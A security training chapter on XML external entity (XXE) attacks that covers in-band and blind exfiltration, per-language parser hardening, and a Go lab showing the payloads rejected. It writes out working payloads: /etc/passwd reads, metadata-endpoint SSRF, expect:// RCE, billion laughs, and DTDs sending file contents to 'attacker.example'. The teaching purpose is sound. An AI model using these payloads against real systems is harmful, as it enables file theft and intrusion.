Frontend Labs
⋯

Chapter 32 — XXE and the XML attack surface

In one sentence

An XML parser that resolves external entities will fetch local files, hit internal URLs, and exfiltrate data out-of-band on the attacker's command — and XML is hiding inside SAML, Office documents, SVGs, SOAP, and RSS.

Where we are

G1 Part 10 skipped XXE. It remains common because XML parsers default to entity resolution in many stacks, and because XML is embedded in formats people don't think of as "XML input".

How it works

Basic XXE (in-band file read):

   <?xml version="1.0"?>
   <!DOCTYPE r [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
   <r>&x;</r>
   -> the response reflects the file contents where <r> is rendered.

Variants:

   SSRF via XXE      <!ENTITY x SYSTEM "http://169.254.169.254/latest/
                       meta-data/">   -> hit internal services / metadata
                       (subject to Ch 33 header requirements).
   PHP wrappers      <!ENTITY x SYSTEM "php://filter/convert.base64-encode/
                       resource=/var/www/config.php">   -> source disclosure
                       <!ENTITY x SYSTEM "expect://id">  -> RCE (if expect
                       module loaded).
   BLIND / OOB       no reflection. Use PARAMETER ENTITIES + an external
                     DTD you host:
       payload:  <!DOCTYPE r [ <!ENTITY % p SYSTEM
                   "http://attacker/evil.dtd"> %p; ]>
       evil.dtd: <!ENTITY % f SYSTEM "file:///etc/hostname">
                 <!ENTITY % w "<!ENTITY exfil SYSTEM
                    'http://attacker/?d=%f;'>">
                 %w;  %exfil;
     -> the file contents come back to you as a query string.
   ERROR-BASED BLIND  craft a DTD that forces a parser error message
                      CONTAINING the file contents.
   XInclude          when you can't set the DOCTYPE but you CAN inject into
                     an element the server wraps in XML:
       <x xmlns:xi="http://www.w3.org/2001/XInclude">
         <xi:include parse="text" href="file:///etc/passwd"/></x>
   DoS               "billion laughs": nested entities expanding
                     exponentially -> memory exhaustion (Ch 28).

Where XML hides (all are XXE sinks if the parser is unsafe):

   SAML responses (Ch 39)          SOAP / WSDL / XML-RPC
   DOCX / XLSX / PPTX (ZIP of XML) ODF documents
   SVG uploads (Ch 38)            RSS / Atom feeds, OPML
   XML sitemaps, config uploads    SVG in PDFs
   .xml APIs, XML in a JSON field  Android/iOS plist, .NET config
   XMP metadata in images         Excel / Google Sheets import

Defence — disable DTDs, per language:

   Java (JAXP/DOM/SAX/StAX):
     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",
       true);
     dbf.setFeature("http://xml.org/sax/features/external-general-entities",
       false);
     dbf.setFeature("http://xml.org/sax/features/external-parameter-
       entities", false);
     dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
     (or XMLConstants.FEATURE_SECURE_PROCESSING + ACCESS_EXTERNAL_DTD="")
   Python:  use `defusedxml` (drop-in for ElementTree/minidom/lxml/etc.).
     lxml: `etree.XMLParser(resolve_entities=False, no_network=True,
       dtd_validation=False, load_dtd=False)`.
   .NET:  `XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit,
     XmlResolver = null }`. (Modern .NET defaults are safe; legacy
     XmlDocument was not.)
   PHP (libxml):  since libxml 2.9 external entities are off by default;
     do NOT call `libxml_disable_entity_loader(false)`; avoid
     `LIBXML_NOENT`. For DOMDocument, don't enable network/DTD.
   Go:  `encoding/xml` doesn't resolve external entities -- safe by
     default; watch third-party XML libs.
   Node:  `libxmljs`/`node-libxml` -- pass `noent: false`, `nonet: true`;
     prefer `fast-xml-parser` (no entity resolution).
   General:  prefer JSON. Parse in a process with NO outbound network
   (kills blind OOB) and least file privileges. Don't reflect parser
   output. Reject documents with a DOCTYPE if you don't need one.

Worked example

Blind XXE in a DOCX import, exfiltrating a config file.

   SecureShop lets tenants bulk-import a product catalogue as .xlsx.
   The import unzips it and parses `xl/sharedStrings.xml` and
   `xl/worksheets/sheet1.xml` with a default Java DOM parser (DTDs on).

   ATTACK: craft an .xlsx whose sharedStrings.xml is:
     <?xml version="1.0"?>
     <!DOCTYPE x [
       <!ENTITY % p SYSTEM "http://attacker.example/x.dtd"> %p;
     ]>
     <sst>...</sst>
   x.dtd:
     <!ENTITY % f SYSTEM "file:///app/config/database.yml">
     <!ENTITY % w "<!ENTITY &#x25; e SYSTEM
        'http://attacker.example/?d=%f;'>">
     %w; %e;
   The import parser fetches x.dtd, reads database.yml, and sends it as a
   query string to attacker.example. No output needed in the app.

   FIX:
     - `disallow-doctype-decl = true` on the import parser -> the document
       is rejected before any entity is touched.
     - The import worker runs in a sandbox with NO egress (blind OOB needs
       the outbound HTTP) and read access only to the upload dir.
     - Prefer a spreadsheet library that doesn't do DTD processing (e.g.
       Apache POI with the "secure" XML factory, which POI sets by
       default in recent versions -- verify).
     - Config secrets aren't on the filesystem of the import worker
       anyway (Part 2 Ch 9 / G1 Ch 49).

Practice (60 min)

  1. PortSwigger Academy "XML external entity (XXE) injection" track: in-band file read, SSRF, blind OOB with a malicious DTD, blind error-based, XInclude, XXE via file upload (SVG), XXE via Content-Type change (JSON endpoint that also accepts XML).
  2. Locally: a Java (or PHP/.NET) endpoint parsing XML with defaults. Read /etc/passwd; then do blind OOB against a collaborator you run; then the billion-laughs DoS. Apply the per-language hardening and re-test each.
  3. Build the DOCX/XLSX/SVG upload repro from the worked example; fix the parser config and add an egress-denied sandbox.
  4. Add a check to your CI: grep for XML parser instantiation without the secure-processing feature (a simple linter / Semgrep rule).

Build it in Go (15 min) — what Go's XML parser does with these payloads

Before testing a service for XXE, find out what its parser does by default. Go's encoding/xml doesn't fetch external entities and doesn't expand entities declared in a DTD. This lab confirms it with the classic payloads, and adds the size limit that no parser gives you for free.

// xmlsafe: what Go's encoding/xml does with the classic XML attacks
// (Chapter 32). Go never fetches external entities and never expands
// entities declared in a DTD, so XXE and "billion laughs" fail closed --
// but you still need size limits, and other libraries may not be so strict.
//
//	go run ./xmlsafe
package main

import (
	"encoding/xml"
	"errors"
	"fmt"
	"io"
	"strings"
)

type order struct {
	XMLName xml.Name `xml:"order"`
	Note    string   `xml:"note"`
}

var payloads = map[string]string{
	"1 normal": `<order><note>two coffees</note></order>`,

	"2 XXE file read": `<?xml version="1.0"?>
<!DOCTYPE order [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<order><note>&xxe;</note></order>`,

	"3 XXE SSRF": `<?xml version="1.0"?>
<!DOCTYPE order [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<order><note>&xxe;</note></order>`,

	"4 billion laughs": `<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol9 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<order><note>&lol9;</note></order>`,

	"5 huge document": "<order><note>" + strings.Repeat("A", 5<<20) + "</note></order>",
}

var errTooLarge = errors.New("document larger than 1 MB")

// capReader fails loudly at the limit (io.LimitReader would just stop,
// and the parser would report a confusing "unexpected EOF").
type capReader struct {
	r    io.Reader
	left int64
}

func (c *capReader) Read(p []byte) (int, error) {
	if c.left <= 0 {
		return 0, errTooLarge
	}
	p = p[:min(int64(len(p)), c.left)]
	n, err := c.r.Read(p)
	c.left -= int64(n)
	return n, err
}

// parse is how XML from a request should be read: bounded size, strict mode.
func parse(r io.Reader) (*order, error) {
	dec := xml.NewDecoder(&capReader{r, 1 << 20}) // no parser is safe from unbounded input
	dec.Strict = true                             // the default; undefined entities are errors
	var o order
	if err := dec.Decode(&o); err != nil {
		return nil, err
	}
	return &o, nil
}

func main() {
	for _, name := range []string{"1 normal", "2 XXE file read", "3 XXE SSRF", "4 billion laughs", "5 huge document"} {
		o, err := parse(strings.NewReader(payloads[name]))
		if err != nil {
			fmt.Printf("%-18s REJECTED  %v\n", name, err)
			continue
		}
		fmt.Printf("%-18s parsed    note=%q\n", name, o.Note)
	}
}
$ go run ./xmlsafe
1 normal           parsed    note="two coffees"
2 XXE file read    REJECTED  XML syntax error on line 3: invalid character entity &xxe;
3 XXE SSRF         REJECTED  XML syntax error on line 3: invalid character entity &xxe;
4 billion laughs   REJECTED  XML syntax error on line 8: invalid character entity &lol9;
5 huge document    REJECTED  document larger than 1 MB

What to notice:

  • Go fails closed: undefined-entity errors, no file read, no outbound request, no exponential expansion. The same payloads against a libxml2- or Xerces-based parser with entity substitution enabled behave very differently, so a Go front end can still pass XML to a vulnerable component behind it.
  • Size limits are still yours. Without the capReader, a 5 GB "XML" upload is read in full. A plain io.LimitReader would also work, but it reports a confusing "unexpected EOF". Fail with a clear error instead.
  • Strict = false plus a custom Entity map changes the picture. Grep for it in code review.

Exercise: wrap the decoder in an HTTP handler behind http.MaxBytesReader, then point an XXE scanner at it and confirm nothing fires. Then repeat against a service in another language from your estate.

Common mistakes

  • Only thinking about .xml endpoints. SAML, Office docs, SVG, RSS, and any endpoint that also accepts Content-Type: application/xml are sinks.
  • Disabling general entities but leaving parameter entities on. Blind OOB uses parameter entities. Disable both, or disallow DOCTYPE entirely.
  • Hand-rolling the "safe" parser config and missing a feature. Use defusedxml / the framework's secure factory; don't assemble it yourself.
  • libxml_disable_entity_loader(false) / LIBXML_NOENT in PHP. Re-enables the danger.
  • Parsing untrusted XML in a process with outbound network and broad file access. Sandbox it; deny egress (kills blind OOB).
  • Reflecting parser errors/output. Feeds error-based and in-band exfiltration.

Check yourself

  1. Write a minimal XXE that reads a local file in-band.
  2. How does blind/OOB XXE work when there's no reflection?
  3. Name five formats/contexts where an XML parser is invoked that people don't think of as "XML input".
  4. Why must you disable parameter entities, not just general entities?
  5. What two environmental controls make blind XXE much harder even if the parser is misconfigured?

Further reading

  • Cheat sheet: OWASP "XML External Entity Prevention Cheat Sheet" — the per-language config reference.
  • Labs: PortSwigger Academy XXE track.
  • Research: "XXE: How to become a Jedi" and the classic "OOB XXE" write-ups; ExifTool CVE-2021-22204 (GitLab RCE) chained from an upload; the SAML XXE cases.
  • Tools: defusedxml, Semgrep XXE rules, Burp's XXE checks, XXEinjector.

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36